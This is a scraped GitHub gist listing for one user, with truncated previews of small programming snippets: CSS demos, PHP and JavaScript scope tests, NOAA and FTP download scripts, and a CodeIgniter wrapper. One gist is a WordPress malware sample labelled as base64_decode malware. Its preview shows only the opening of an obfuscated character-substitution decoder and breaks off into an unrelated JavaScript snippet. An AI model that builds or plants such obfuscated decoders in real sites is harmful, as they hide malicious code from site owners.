Skip to content

Instantly share code, notes, and snippets.

@zx1986
zx1986 / Flap,-Flap,-Flap..markdown
Created February 11, 2014 12:53
A Pen by Jonathan Sampson.

Flap, Flap, Flap.

Oh man, I'm so going to become filthy rich now. Just tap, tap, and fly through the pipe openings. Written entirely in CSS, because previous implementations using physics engines left people irritated and annoyed...

A Pen by Jonathan Sampson on CodePen.

License.

@zx1986
zx1986 / plugin24.php
Created July 31, 2015 07:41
A base64_decode Malware for Wordpress
<?php
function txrjtyfp($llngiuetx, $mjnrmv)
{
$pgzlh = '';
for($i=0; $i < strlen($llngiuetx); $i++)
{
$pgzlh .= isset($mjnrmv[$llngiuetx[$i]]) ? $mjnrmv[$llngiuetx[$i]] : $llngiuetx[$i];
}
function my_fun(var)
{
this.var = var;
alert(this.var);
}
$('#id').click( my_fun('hello') );
message = 'hello';
$('#id').click( my_fun(message) );
@zx1986
zx1986 / get_file_noaa.sh
Created August 22, 2011 03:22
get GFS files from NOAA
#!/bin/bash
# issue 1427
# get GFS files from NOAA (http://nomads.ncep.noaa.gov/cgi-bin/filter_gfs_hd.pl) and save to $SAVE_DIR directory
# @author <zx1986> 02-2349-1219
### Global Configuration ###
# absolute path of the directory which saves all downloading files
SAVE_DIR=/users3/mavis/noaadata
@zx1986
zx1986 / get_sst.py
Created December 22, 2011 02:16
Get files through FTP from discover-earth
#!/usr/bin/python
# -*-coding:utf-8-*-
from ftplib import FTP
import logging
import sys
import os
ftp_host="ftp.discover-earth.org"
ftp_dir="sst/daily/tmi_amsre/"
@zx1986
zx1986 / dabblet.css
Created January 6, 2012 06:08 — forked from secondfret/dabblet.css
Design Shack CSS Mouse In/Out Example 4
/**
* Design Shack CSS Mouse In/Out Example 4
*/
#loremdiv {
margin: 100px;
height: 200px; width: 200px;
background: black;
-webkit-transition: -webkit-border-radius 0.5s ease-in;
@zx1986
zx1986 / static_var.php
Created June 29, 2012 07:23
PHP static var testing
<?php
function test()
{
static $count = 0;
$count++;
echo $count.' ';
if ($count < 10) {
test();
@zx1986
zx1986 / setInterval-callback.js
Created September 23, 2012 07:27
Javascript setInterval callback issue
(function() {
$(document).ready(function() {
var test;
test = function(target) {
return console.log(target)
};
setInterval(test('bad'), 3000); // just works once
@zx1986
zx1986 / scope.js
Created November 8, 2012 06:12
Variable Scope in Javascript
// a globally-scoped variable
var a=1;
// global scope
function one(){
alert(a);
}
// local scope
function two(a){
@zx1986
zx1986 / PHPList.php
Last active November 24, 2015 07:42
如何把第三方的 Class 包到 CodeIgniter Libraries 中,方便 CodeIgniter $CI->load->libraries
<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
class PHPList {
public function __construct($config = array())
{
if (!empty($config))
{
include_once('phpListRESTApiClient.php');
return new phpListRESTApiClient($config['api_url'], $config['id'], $config['pw']);